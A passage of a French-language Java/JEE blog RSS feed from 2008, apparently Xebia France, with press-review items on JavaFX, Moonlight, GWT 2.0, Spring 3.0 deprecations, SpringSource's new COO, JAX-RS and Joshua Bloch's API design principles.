href="http://javafx.com/samples/" title="La galerie d'exemples et de tutoriaux 'officielle'" >La galerie d&#8217;exemples et de tutoriaux &#8216;officielle&#8217;</a> a été copieusement alimentée. On regrettera cependant que cette galerie mette l&#8217;accent sur le spectaculaire, plus que sur le fonctionnel (aucun exemple d&#8217;intégration avec un back end Java ou une base de données).<br
/> Au rayon des nouveautés, on notera <a
href="http://edageek.com/2008/05/07/rich-internet-application/" title="la présence de codecs audio et video" >la présence de codecs audio et video</a>, permettant d&#8217;intégrer facilement du contenu multimédia (par l&#8217;entremise d&#8217;un encodage en Flash).<br
/> Sur un niveau moins technique, on peut noter la présence de 2 plugins pour les produits Adobe, Photoshop et Illustrator, qui devraient faciliter les échanges entre web designers et développeurs J2EE.<br
/> A noter enfin, sur un plan plus marketing, la présence d&#8217;un émulateur mobile, qui préfigure ce que pourrait être JavaFx Mobile.<br
/> En conclusion, cette première version n&#8217;est pas vraiment au niveau des attentes qu&#8217;elle a suscitées. Cependant, nous restons une fois de plus sur l&#8217;agréable impression de pouvoir faire de jolies interfaces en Java.<br
/> A notre sens, la prochaine étape déterminante sera l&#8217;adhésion de la communauté à cette nouvelle technologie, qui devrait permettre l&#8217;émergence de composants de haut niveau (un travail auquel s&#8217;est déjà attelé <a
href="http://learnjavafx.typepad.com/" title="James Weaver" >James Weaver</a>), en espérant que ceux ci seront incorporés dans les prochaines versions.<br
/> Reste que le produit de Sun est en retard par rapport à ses concurrents, et que la volonté de couvrir toutes les plateformes à la fois (desktop, mobile, télévision) pourrait se révéler à court terme un handicap pour cette technologie émergente.<br
/> Alors, Sun s&#8217;est il fourvoyé avec Fx, <a
href="http://www.tbray.org/ongoing/When/200x/2008/11/24/What-Sun-Should-Do" title="comme le pense Tim Bray" >comme le pense Tim Bray</a> ? Seules les futures versions nous le diront.</p><h4><a
name="SilverlightsousLinux"></a>Silverlight sous Linux</h4><p>La <a
href="http://go-mono.com/moonlight/" title="version 1.0 beta de Moonlight" >version 1.0 beta de Moonlight</a> est disponible.<br
/> Moonlight est une implémentation open source de Silverlight pour Linux / Unix, portée par Novell et développée par <a
href="http://www.mono-project.com/Main_Page" title="le projet Mono" >le projet Mono</a>. Cette béta est disponible pour un grand nombre d&#8217;environnements (Ubuntu, Suze, Fedora&#8230;) en 32 ou 64 bits.<br
/> Elle permet l&#8217;exécution de scripts Silverlight 1.0, la diffusion de contenu (MediaPack 1.0)&#8230;<br
/> Elle sera disponible en version finale le 20 janvier 2009.<br
/> Pour pouvoir profiter au maximum de Silverlight sous Linux, il faudra attendre la version 2 de Moonlight (support complet de Silverlight 2.0 et des dernières innovations Microsoft). Elle devrait être disponible en béta courant avril, puis en finale durant septembre 2009.<br
/> <a
href="http://www.mono-project.com/MoonlightRoadmap" title="La roadmap complète" >La roadmap complète</a> est exposée sur le site du projet Mono.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="NouveaumodehostpourGWT"></a>Nouveau mode hosté pour GWT 2.0</h4><p>Les nouveautés des prochaines versions 1.6 et 2.0  de GWT continuent d&#8217;affluer.<br
/> Ainsi, après la possibilité de pouvoir <a
href="http://www.dng-consulting.com/blogs/index.php/2008/11/26/gwt-va-enfin-gaeacute-rer-les-aquot-gros?blog=1" title="fragmenter son application" >fragmenter son application</a>, c&#8217;est une fois de plus chez <a
href="http://www.dng-consulting.com/blogs/index.php?blog=1" title="Sami Jaber" >Sami Jaber</a> que l&#8217;on apprend en vidéo l&#8217;une des grosses fonctionnalités à venir : <a
href="http://www.dng-consulting.com/blogs/index.php/2008/12/06/une-daeacute-mo-du-futur-mode-hostaeacut?blog=1" title="le nouveau "Hosted Mode" de GWT 2.0" >le nouveau &laquo;&nbsp;Hosted Mode&nbsp;&raquo; de GWT 2.0</a>.<br
/> Alors qu&#8217;aujourd&#8217;hui ce mode se lance dans une nouvelle fenêtre de votre IDE, demain vous pourrez le lancer directement dans votre navigateur (en tout cas ceux gérés pour l&#8217;instant).<br
/> Le mode reste toutefois celui que l&#8217;on connaît à savoir que GWT <em>simule</em> un site compilé (moteur de rendu) i.e. qu&#8217;aucun <em>Javascript</em> n&#8217;est généré. L&#8217;intégration avec des plugins comme <em>Firebug</em> sera donc limitée&#8230; Le mode <em>Debug</em> et le rafraichissement du navigateur suite à modification du code GWT sont bien sûr conservés.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2008/12/08/revue-de-presse-xebia-86/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Spring 3.0 &#8211; le grand nettoyage du printemps</title><link>http://blog.xebia.fr/2008/10/08/spring-30-le-grand-nettoyage-du-printemps/</link> <comments>http://blog.xebia.fr/2008/10/08/spring-30-le-grand-nettoyage-du-printemps/#comments</comments> <pubDate>Wed, 08 Oct 2008 08:41:19 +0000</pubDate> <dc:creator>Erwan Alliaume</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[jdk-5]]></category> <category><![CDATA[Portlet]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Spring 3.0]]></category> <category><![CDATA[SpringSource]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=806</guid> <description><![CDATA[Un an après la sortie de la version 2.5, le premier milestone de Spring 3.0 devrait bientôt voir le jour. La release officielle est planifiée pour le premier trimestre 2009. Nous lançons donc une nouvelle série d&#8217;articles dédiés à Spring 3.0. Dans ce premier article, nous vous présentons quelques détails des restructurations annoncées par Jürgen [...]]]></description> <content:encoded><![CDATA[<p>Un an après la sortie de la version 2.5, le premier milestone de Spring 3.0 devrait bientôt voir le jour. La release officielle est planifiée pour le premier trimestre 2009. Nous lançons donc une nouvelle série d&#8217;articles dédiés à Spring 3.0. Dans ce premier article, nous vous présentons quelques détails des restructurations annoncées par Jürgen Höller (développeur le plus actif depuis la création de Spring, co-fondateur d&#8217;interface 21) lors de différentes conférences.</p><p>L&#8217;actualité battant son plein, vous aurez certainement noté la nouvelle mise à jour de la politique de maintenance effectuée par <a
href="http://blog.springsource.com/2008/10/07/a-question-of-balance-tuning-the-maintenance-policy/" title="SpringSource hier soir" >SpringSource hier soir</a> incitant la communauté open-source à migrer vers les nouvelles versions de son framework. Ainsi, à publication de Spring 3.0 RC1, plus aucun tag ne sera effectué sur la branche 2.5.x.</p><h3><a
name="RestructurationdeSpringCore"></a>Restructuration de Spring Core</h3><h4><a
name="ExitleJDK"></a>Exit le JDK 1.4</h4><p>La première des nouveautés n&#8217;est pas fonctionnelle, mais purement technique. Spring a décidé de laisser tomber une fois pour toutes le JDK 1.4. La refonte de Spring Core dépendra donc dorénavant des fonctionnalités du JDK 5.</p><p>Cette décision va certainement en choquer certains, mais il ne faut pas oublier que le JDK 5 est sorti il y plus de 3 ans et qu&#8217;il est supporté par tous les serveurs d&#8217;applications du marché depuis bien longtemps. De plus, cette refonte coïncide avec l&#8217;annonce de Sun du passage du JDK 1.4 en <a
href="http://tech.puredanger.com/2008/10/01/ripjdk-14/" title="End Of Service Life (EOSL)" >End Of Service Life (EOSL)</a> à la fin du mois.</p><p>En fait, rien de vraiment étonnant : Spring prépare le terrain depuis sa <a
href="http://blog.xebia.fr/2008/08/08/simplifiez-votre-configuration-spring-25-avec-les-annotations/" title="version 2.5, dont les principales nouveautés" >version 2.5, dont les principales nouveautés</a> s&#8217;appuyaient sur les notions introduites par le JDK 5. Certains modules dépendaient déjà de celui-ci. Cette généralisation à Spring Core en est la suite logique. Quitte à faire une cure de jouvence, autant profiter des avancées techniques.</p><h4><a
name="Nettoyagedeprintemps"></a>Nettoyage de printemps</h4><p>Spring profite de cette refonte pour se débarrasser de tout ce qui était précédemment déclaré <em>deprecated</em>. Ce choix n&#8217;est pas facile pour tout le monde : n&#8217;oublions pas que Sun traîne dans son JDK certaines méthodes <code>deprecated</code> depuis plusieurs années qui ne sont pas prêtes d&#8217;être retirées. Rod Johnson a d&#8217;ailleurs lancé des appels dans ce sens pour nettoyer JavaSE et JavaEE.</p><p>La liste complète des interfaces, classes et méthodes <em>deprecated</em> est disponible sur la <a
href="http://static.springframework.org/spring/docs/2.5.x/api/deprecated-list.html" title="Javadoc de Spring 2.5" >Javadoc de Spring 2.5</a>, où les destinées de ces différents éléments sont renseignées. Seront par exemple supprimées dans Spring 3.0 :</p><ul><li>AbstractPathMapHandlerMapping, CommonsPathMapHandlerMapping, PathMap, remplacées par les annotations permettant de mapper les requests.</li><li>ServerSessionMessageListenerContainer, SimpleServerSessionFactory, au profit des beans DefaultMessageListenerContainer et JmsMessageEndpointManager.</li><li>&#8230;</li></ul><p>D&#8217;autre part, ce coup de balai terminé, Spring profite également de cette refonte pour déprécier certains cas d&#8217;utilisation et technologies quelque peu archaïques.</p><p>Seront probablement rendus <em>deprecated</em> :</p><ul><li>L&#8217;intégration avec la hiérarchie de classe de JUnit 3.8</li><li>La hiérarchie de classe des contrôleurs de Spring MVC, remplacée par les annotations <code>@Controller</code></li><li>Et probablement certaines classes liées à <code>HibernateTemplate</code> et <code>JPATemplate</code></li></ul><p>En plus de cela, un certain nombre de fonctionnalités seront extraites de Spring Core et placées dans des modules <em>legacy</em>.</p><p>Ces modules seront disponibles, au besoin, séparément :</p><ul><li>L&#8217;intégration avec l&#8217;API <a
href="http://commons.apache.org/attributes/" title="Apache Commons Attributes" >Apache Commons Attributes</a> qui n&#8217;a plus beaucoup de sens dans un environnement Java 5.</li><li>Les APIs spécifiques TopLink</li></ul><p>Pour conclure sur cette première partie, par ce grand ménage, Spring compte donner un coup de jeune au cœur de son framework. Aussi nombreux et importants que soient ces changements, si tout se passe comme prévu, les utilisateurs ne se rendront probablement pas compte de cette restructuration. Spring nous annonce, comparé à Spring 2.5, un modèle de programmation identique et une rétrocompatibilité quasiment complète.</p><h3><a
name="Ajoutdefonctionnalits"></a>Ajout de fonctionnalités</h3><p>Pour finir, voici quelques-unes des nouvelles fonctionnalités attendues pour Spring 3.0 :</p><ul><li>Spring EL à tous les niveaux : il vous sera possible d&#8217;utiliser les Expression Language dans n&#8217;importe quel module de Spring. Cela vous permettra par exemple de définir des propriétés dont les valeurs seront fixées au runtime lors de la création du bean. Les EL seront aussi bien utilisables à partir des fichiers de configuration que par les différentes annotations <code>@Value(#{anotherBean.anotherProperty})</code></li><li>Support de REST via Spring MVC : cette fonctionnalité devrait être disponible dès le premier milestone de Spring 3.0. Elle sera également accompagnée de nouveau type de vues JSON, XML ou ATOM, nous rappelant ce que font certains frameworks concurrents (<a
href="http://grails.org/Converters+Reference" title="dont Grails" >dont Grails</a>). Comme nous l&#8217;avons annoncé dans une <a
href="http://blog.xebia.fr/2008/09/29/revue-de-presse-xebia-76/#LesspcificationsRESTseterminen" title="récente revue de presse" >récente revue de presse</a>, nous espérons que Spring 3.0 supporte l&#8217;intégralité de la <a
href="http://jcp.org/en/jsr/detail?id=311" title="JSR-311 : Java API for RESTful Web Service" >JSR-311 : Java API for RESTful Web Service</a> nouvellement terminée.</li><li>Support des Portlets 2.0 : les premiers tests et développements ont apparemment commencé en utilisant le conteneur Pluto. Le support de cette <a
href="http://jcp.org/en/jsr/detail?id=286" title="JSR-286 : Portlet Specification 2.0" >JSR-286 : Portlet Specification 2.0</a> permet d&#8217;espérer l&#8217;apparition de fonctionnalités très attendues dans le monde des portlets, telles que la demande de ressources et communication inter portlets via événements</li><li>Validation du modèle via annotations : depuis Spring 2.5 l&#8217;ancien modèle de validation parait un peu dépassé. Pour sa version 3.0, Spring nous propose de revoir tout cela avec l&#8217;arrivée de nouvelles annotations. On peut espérer une compatibilité avec la <a
href="http://jcp.org/en/jsr/detail?id=303" title="JSR-303" >JSR-303</a>, sujet fortement influencé par JBoss. Une intégration forte avec Spring MVC et Spring JS est également attendue.</li><li>Un nouveau scope : la conversation. Présent dans <a
href="http://static.springframework.org/spring-webflow/docs/2.0.x/reference/html/ch03s05.html#el-variable-conversationScope" title="Spring WebFlow" >Spring WebFlow</a>, ce nouveau scope sera rendu disponible dans Spring Core.Il se basera sur une API spécifique pour ouvrir et terminer programmatiquement les conversations. Une conversation peut se comparer à une sous-session spécifique à un process. Avec ce nouveau scope, l&#8217;utilisateur pourra associer des objets dont la durée de vie dépendra d&#8217;un ensemble défini d&#8217;actions. Lorsque ce processus se terminera, les objets liés à celui-ci seront supprimés.</li></ul><p>Les développements n&#8217;étant pas encore terminés et les sources n&#8217;étant pas disponibles, cette liste n&#8217;est ni exhaustive, ni définitive &#8230; ni officielle. Nous ne manquerons pas de publier des articles complémentaires sur ces différents sujets lorsque nous en saurons plus.</p><div
align="center"> <a
href="http://twitter.com/ealliaume" ><br
/> <img
src="http://blog.xebia.fr/wp-content/uploads/2009/04/twitter4.png"  alt="twitter erwan alliaume" title="twitter erwan alliaume" border="0" /><br
/> </a></div> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2008/10/08/spring-30-le-grand-nettoyage-du-printemps/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2008/09/29/revue-de-presse-xebia-76/</link> <comments>http://blog.xebia.fr/2008/09/29/revue-de-presse-xebia-76/#comments</comments> <pubDate>Mon, 29 Sep 2008 17:36:27 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JBoss]]></category> <category><![CDATA[jQuery]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[SCRUM]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Terracotta]]></category> <category><![CDATA[Websphere]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=762</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Spring Source : les VC prennent le contrôle JBoss certifié Java EE 5 : un anachronisme corrigé &#8230; &#8230; tandis que Websphere 7 sera le dernier grand sur la ligne d&#8217;arrivée Agilité Le Scrum meeting, story par story ? RIA [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/09/29/revue-de-presse-xebia-76/#SpringSourcelesVCprennentlecon">Spring Source : les VC prennent le contrôle</a></li><li><a
href="http://blog.xebia.fr/2008/09/29/revue-de-presse-xebia-76/#JBosscertifiJavaEEunanachronis">JBoss certifié Java EE 5 : un anachronisme corrigé &#8230;</a></li><li><a
href="http://blog.xebia.fr/2008/09/29/revue-de-presse-xebia-76/#tandisqueWebsphereseraledernie">&#8230; tandis que Websphere 7 sera le dernier grand sur la ligne d&#8217;arrivée</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/09/29/revue-de-presse-xebia-76/#LeScrummeetingstoryparstory">Le Scrum meeting, story par story ?</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/09/29/revue-de-presse-xebia-76/#MicrosoftetNokiaadoptentjQuery">Microsoft et Nokia adoptent jQuery</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/09/29/revue-de-presse-xebia-76/#LesspcificationsRESTseterminen">Les spécifications REST se terminent</a></li><li><a
href="http://blog.xebia.fr/2008/09/29/revue-de-presse-xebia-76/#JVMWishListvueparTerracotta"><em>JVM Wish List</em> vue par Terracotta</a></li><li><a
href="http://blog.xebia.fr/2008/09/29/revue-de-presse-xebia-76/#PrincipespourledesignduneAPI">Principes pour le design d&#8217;une API</a></li><li><a
href="http://blog.xebia.fr/2008/09/29/revue-de-presse-xebia-76/#DavidSyercommuniquesurSpringBa">David Syer communique sur Spring Batch</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="SpringSourcelesVCprennentlecon"></a>Spring Source : les VC prennent le contrôle</h4><p>Les semaines se suivent et ne se ressemblent pas chez Spring Source. Après le tumultueux revirement de stratégie Open Source il y a dix jours (cf. <a
href="http://blog.xebia.fr/2008/09/22/nouvelle-politique-de-maintenance-de-spring-la-tres-perilleuse-route-de-la-monetisation-de-lopen-source/" title="Nouvelle politique de maintenance de Spring : La très périlleuse route de monétisation de l'open source" >Nouvelle politique de maintenance de Spring : La très périlleuse route de monétisation de l&#8217;open source</a>), Benchmark Capital, le principal fond d&#8217;investissement de Spring Source, prend le contrôle opérationnel de la société en nommant Rob Bearden President and Chief Operations Officer (COO). Rod Johnson conserve le titre de CEO.</p><p>C&#8217;est un véritable tournant dans la vie de Spring Source qui était jusqu&#8217;à présent gouvernée par son fondateur Rod Johnson et est aujourd&#8217;hui confrontée aux défis de la rentabilité et de la croissance.</p><p>Nous noterons au passage un clin d&#8217;oeil de l&#8217;histoire : Rob Bearden, avant de rejoindre Benchmark Capital, a été COO de JBoss. Le monde de l&#8217;Open source est petit, espérons que les relations conflictuelles entre les camps JBoss et Spring Source s&#8217;adoucissent <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /></p><p>Les interrogations sont nombreuses : quelle place trouvera Rod Johnson dans cette nouvelle organisation ? Quelle stratégie Open source va adopter Rob Bearden ? Entérinera-t-il la nouvelle politique de commercialisation des releases post trois mois qui suscite encore une polémique très vive ?</p><p>Quelques liens :</p><ul><li><a
href="http://www.theserverside.com/news/thread.tss?thread_id=50813" title="The Server Side : What will be next with SpringSource?" >The Server Side : What will be next with SpringSource?</a></li><li><a
href="http://www.springsource.com/content/springsource-names-president-and-chief-operating-officer" title="Communiqué officiel : SpringSource Names President and Chief Operating Officer" >Communiqué officiel : SpringSource Names President and Chief Operating Officer</a></li><li><a
href="http://www.theregister.co.uk/2008/09/26/springsource_president_coo/" title="The Register : SpringSource VC investor takes COO role" >The Register : SpringSource VC investor takes COO role</a></li></ul><h4><a
name="JBosscertifiJavaEEunanachronis"></a>JBoss certifié Java EE 5 : un anachronisme corrigé &#8230;</h4><p>L&#8217;anachronisme que personne ne comprenait est enfin corrigé. JBoss Application Server, précurseur de Java EE 5 avec le support de JPA dans Hibernate et la Web Application qui jouait le rôle d&#8217;un conteneur d&#8217;EJB 3 est enfin certifié Java EE 5. Sacha Labourey, JBoss, annonce dans <a
href="http://sacha.labourey.com/2008/09/15/jboss-as-is-now-ee5-certified/" title="JBoss AS is now EE5 certified!" >JBoss AS is now EE5 certified!</a> que la version release sera disponible dans les semaines à venir. Il n&#8217;en reste pas moins que JBoss AS 5 est une refonte sur le fond du serveur d&#8217;application (nouveau messaging, clustering, etc) qui a duré plus de trois ans (cf <a
href="http://www.infoq.com/news/2008/06/jboss-as5-rc1" title="InfoQ : Releasing JBoss AS 5: Q&#038;A with Project Lead Dimitris Andreadis" >InfoQ : Releasing JBoss AS 5: Q&#038;A with Project Lead Dimitris Andreadis</a>) et qu&#8217;on peut s&#8217;attendre à une phase de stabilisation de la nouvelle stack JBoss.</p><h4><a
name="tandisqueWebsphereseraledernie"></a>&#8230; tandis que Websphere 7 sera le dernier grand sur la ligne d&#8217;arrivée</h4><p>IBM nous rappelle avec Websphere que les parts de marché sont parfois décorrélées de l&#8217;implémentation des dernières spécifications. Websphere 7 sera le dernier grand serveur Java EE a être certifié Java EE 5.</p><p>La <a
href="http://www.ibm.com/developerworks/websphere/downloads/" title="version d'évaluation" >version d&#8217;évaluation</a> est déjà disponible sur DeveloperWorks ; des blogs (<a
href="http://webspherecommunity.blogspot.com/" title="Websphere Community" >Websphere Community</a> et <a
href="http://webspheremessaging.blogspot.com/" title="Websphere and Messagin" >Websphere and Messagin</a>) relaient la communication institutionnelle.</p><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="LeScrummeetingstoryparstory"></a>Le Scrum meeting, story par story ?</h4><p>Les <a
href="http://en.wikipedia.org/wiki/Stand-up_meeting" title="daily standup meetings" >daily standup meetings</a> se déroulent habituellement personne par personne, c&#8217;est-à-dire que chaque membre de l&#8217;équipe répond aux <a
href="http://www.scrumalliance.org/articles/39-glossary-of-scrum-terms#1128" title="3 questions" >3 questions</a> l&#8217;un après l&#8217;autre. Le défaut de cette méthode selon <a
href="http://blog.mountaingoatsoftware.com/?p=51" title="Mike Cohn" >Mike Cohn</a> est qu&#8217;elle ne permet pas toujours de voir les problèmes sur les stories dont personne ne s&#8217;occupe puisque personne n&#8217;en parle.<br
/> Il suggère la possibilité d&#8217;attaquer le standup <a
href="http://blog.mountaingoatsoftware.com/?p=51" title="story par story" >story par story</a>, mais on perd alors en visibilité sur ce que fait chaque personne. Face à ce dilemme, plusieurs solutions sont possibles :</p><ul><li>L&#8217;équipe s&#8217;engage t-elle sur trop d&#8217;items par sprint ? Mike préconise une moyenne de 1 à 1,5 story / personne / sprint. Attention, cela ne veut absolument pas dire qu&#8217;une story doit être gérée par une seule personne !</li><li>Faire le standup devant le tableau des tâches, afin que chaque personne puisse pointer les items sur lesquels elle travaille.</li><li>Désigner des &laquo;&nbsp;story owners&nbsp;&raquo; : pour chaque story, une personne de l&#8217;équipe est responsable de son avancement. Cette personne n&#8217;est pas forcément le développeur principal de la story.</li><li>Regarder la taille de l&#8217;équipe : selon ses observations la taille idéale d&#8217;une équipe se situe entre 5-7 personnes.</li></ul><p>La plupart des équipes font leur standup par personne, mais certaines équipes peuvent se heurter à un manque de visibilité sur certaines stories. Cette vision &laquo;&nbsp;story par story&nbsp;&raquo; peut répondre à leurs attentes.</p><h3><a
name="RIA"></a>RIA</h3><h4><a
name="MicrosoftetNokiaadoptentjQuery"></a>Microsoft et Nokia adoptent jQuery</h4><p>À part GWT avec Google, un des reproches que l&#8217;on peut faire aux librairies JavaScript/AJAX est leur absence de support par un grand éditeur. Cet état de fait pourrait bien changer pour la librairie jQuery, une de nos librairies favorites, que l&#8217;on conseille et rencontre de plus en plus fréquemment chez nos clients. jQuery <a
href="http://jquery.com/blog/2008/09/28/jquery-microsoft-nokia" title="annonce sur son blog" >annonce sur son blog</a> l&#8217;adoption par Microsoft et Nokia du framework, et son intégration dans leur plateforme de développement officielle respective.<br
/> jQuery sera donc distribué avec Visual Studio, et sera présent dans tous les nouveaux téléphones de Nokia qui utiliseront le moteur de rendu maison <a
href="http://www.s60.com/life/thisiss60/s60indetail/technologiesandfeatures/webruntime" title="Web Runtime" >Web Runtime</a>.<br
/> Les bénéfices pour jQuery et ses utilisateurs sont multiples : la reconnaissance de la librairie comme parmi les plus populaires, et son amélioration via la soumission de patchs et de tests. Excellente nouvelle donc !</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="LesspcificationsRESTseterminen"></a>Les spécifications REST se terminent</h4><p>Vous en entendrez certainement parler prochainement à l&#8217;occasion de Spring 3.0, les spécifications de la <a
href="http://jcp.org/en/jsr/detail?id=311" title="JSR-311 : Java API for RESTful Web Service" >JSR-311 : Java API for RESTful Web Service</a> (JAX-RS) ont été approuvées quasi unanimement (15 pour, 0 contre, 1 non votant) par l&#8217;<em>executive comitee</em>.</p><p>JAX-RS est une API permettant l&#8217;implémentation de Web Services REST, son fonctionnement est simple :</p><ul><li>on rajoute des annotations sur des classes et des méthodes pour décrire les services à exposer et la manière de les exposer</li><li>le choix du service s&#8217;effectue en fonction des URL / Content type / Headers et type de requête HTTP</li></ul><p>REST étant à la mode, plusieurs framework existent déjà dont :</p><ul><li><a
href=" https://jersey.dev.java.net/" title="Jersey" >Jersey</a>, l&#8217;implémentation de référence pour JAX-RS développée par Sun</li><li><a
href="http://www.restlet.org/" title="Restlet" >Restlet</a>, le framework du moment le plus utilisé pour les applications REST</li><li><a
href="http://cwiki.apache.org/CXF20DOC/jax-rs-jsr-311.html" title="CXF RESTful Services" >CXF RESTful Services</a>, l&#8217;implémentation JAX-RS du projet Apache CXF</li><li><a
href="http://jboss.org/resteasy" title="RESTeasy" >RESTeasy</a>, la version JBoss</li></ul><p>Une interview des specs leads Marc Hadley et Paul Sandoz est disponible sur <a
href="http://www.infoq.com/news/2008/09/jsr311-approved" title="InfoQ" >InfoQ</a>. Une des questions intéressantes porte sur l&#8217;influence de la JSR311 sur les spécifications de Servlet. Cela nous rappelle que, même si les API REST et les Servlets ont des approches complètement différentes, ces deux technologies doivent pouvoir cohabiter et travailler ensemble.</p><h4><a
name="JVMWishListvueparTerracotta"></a><em>JVM Wish List</em> vue par Terracotta</h4><p><a
href="http://dsoguy.blogspot.com/2008/09/jvm-wish-list.html" title="Cet article" >Cet article</a> présente une liste d&#8217;améliorations JVM espérées vues par un spécialiste <a
href="http://terracottatech.com/" title="Terracotta" >Terracotta</a>. S&#8217;il est vrai que cet outil aborde des problématiques peu communes (clustering de JVM), certaines de ces idées pourraient être utiles pour tout autre framework utilisant <a
href="http://blog.xebia.fr/2008/05/02/java-agent-instrumentez-vos-classes/" title="l'instrumentalisation de code" >l&#8217;instrumentalisation de code</a>.</p><p>Voici les idées proposées par Steeve Haris dans son article regroupées par domaines, elles permettent de :</p><ul><li>Simplifier grandement le code de ce genre de framework en évitant d&#8217;avoir à développer des surcouches logicielles simulant certaines de ces fonctionnalités</li><ul><li>Permettre de créer des <code>proxy</code> d&#8217;objets niveau JVM : cela faciliterait le maintien de la <em>heap virtuelle</em> de Terracotta</li><li>Pouvoir associer des métadatas à un objet : cela permettrait d&#8217;affiner les choix du <em>memory manager</em> de Terracotta</li><li>Faciliter le développement de tricks  en améliorant le _Hot swapping_</li></ul><li>Optimiser le nombre d&#8217;objets à instrumentaliser</li><ul><li>Permette d&#8217;instrumenter des tableaux sans avoir besoin de passer par les classes les utilisant</li><li>Permettre le remplacement de méthodes <em>natives</em> : actuellement si l&#8217;on veut modifier le comportement d&#8217;une méthode native, nous somme obligé d&#8217;instrumenter tous les objets appelant celle-ci.</li></ul><li>Adapter la JVM aux architectures d&#8217;aujourd&#8217;hui</li><ul><li>La taille des listes et des collections est définie par un <code>int</code>. Les architectures 64 bits nous permettant d&#8217;ajouter de plus en plus de mémoire, il se peut que cette taille devienne insuffisante dans certaines utilisations.</li></ul></ul><h4><a
name="PrincipespourledesignduneAPI"></a>Principes pour le design d&#8217;une API</h4><p><a
href="http://en.wikipedia.org/wiki/Joshua_Bloch" title="Joshua Bloch" >Joshua Bloch</a> (Google), auteur de Effective Java, énumère un ensemble de principes clés afin de réussir la conception et la réalisation d&#8217;une API : <a
href="http://www.infoq.com/articles/API-Design-Joshua-Bloch" title="Bumper-Sticker API Design" >Bumper-Sticker API Design</a>.</p><p>Une API n&#8217;est pas seulement mise en place dans les frameworks mais aussi dans des applications à différents niveaux :</p><ul><li>la couche d&#8217;accès aux données</li><li>la couche service</li></ul><p>La volonté d&#8217;une API est de réaliser un module cadré au fonctionnement clair. Le fonctionnement interne du module est caché derrière un contrat d&#8217;utilisation (qui ne repose pas nécessairement uniquement sur des interfaces Java). Le terme d&#8217;utilisabilité de l&#8217;API peut être employé.</p><p>L&#8217;utilisabilité d&#8217;une API peut être décrite avec les spécificités suivantes :</p><ul><li>contrat d&#8217;utilisation simple et explicité, cela passe par le nommage des éléments (classe, méthode, argument, &#8230;).</li><li>l&#8217;intégration aux cas d&#8217;utilisation doit être naturelle. Pour que ce soit le plus naturel possible, on peut même envisager de d&#8217;abord coder les cas d&#8217;utilisation avec l&#8217;appel à l&#8217;API et ensuite coder l&#8217;implémentation de l&#8217;API.</li><li>l&#8217;implémentation de l&#8217;API doit être indépendante du contexte d&#8217;appel</li></ul><p>Le développement d&#8217;API pose le problème de la gestion des versions. A partir du moment où elle est exposée, une API doit répondre de la même façon à tous les appels, quel que soit le client sollicitant le service. Il est vital de respecter les principes de l&#8217;IoC <em>Inversion of Control</em>, et ne pas enrichir chaque version d&#8217;un ou plusieurs comportements spécifiques :</p><pre class="brush: java; title: ; notranslate">
if (isClient1) {
  // Traitement spécifique client 1
} else if (isClient2) {
  // Traitement spécifique client 2
} else {
...
}
</pre><p>Des principes qui font généralement débats sont aussi présentés :</p><ul><li>Faire peu de documentation, les noms des classes/méthodes doivent être explicites</li><li>Ne pas remonter de <code>CheckException</code> que des <code>RuntimeException</code></li></ul><p>Il est vrai que la principale difficulté d&#8217;une API est de bien faire dès la première version. La moindre modification du contrat d&#8217;utilisation de l&#8217;API entraînera des régressions chez les clients de l&#8217;API.</p><p>C&#8217;est pour cette raison qu&#8217;il faut tenter de faire un premier jet aussi bref et concis que possible, et de ne traiter la multiplicité des cas qu&#8217;au fur et à mesure de leur apparition, dans des versions ultérieures.</p><p>Pour conclure, on reprendra la phrase de Joshua Bloch : le design d&#8217;API est un art, pas une science exacte.</p><p>N&#8217;hésitez pas à visionner le <a
href="http://www.infoq.com/presentations/effective-api-design" title="vidcast associé à cet article" >vidcast associé à cet article</a>.</p><h4><a
name="DavidSyercommuniquesurSpringBa"></a>David Syer communique sur Spring Batch</h4><p><a
href="http://blog.xebia.fr/2008/06/23/revue-de-presse-xebia-62/#DaveSyerrevientsurSpringBatchp" title="Nous vous l'annoncions avant l'été" >Nous vous l&#8217;annoncions avant l&#8217;été</a>, David Syer, le leader technique de Spring Batch, a entamé sa &laquo;&nbsp;tournée promotionnelle&nbsp;&raquo;.</p><p>À travers ce <a
href="http://www.infoq.com/presentations/syer-introducing-spring-batch" title="vidcast, capté au QCon de Londres et relayé par InfoQ" >vidcast, capté au QCon de Londres et relayé par InfoQ</a> (ou bien via <a
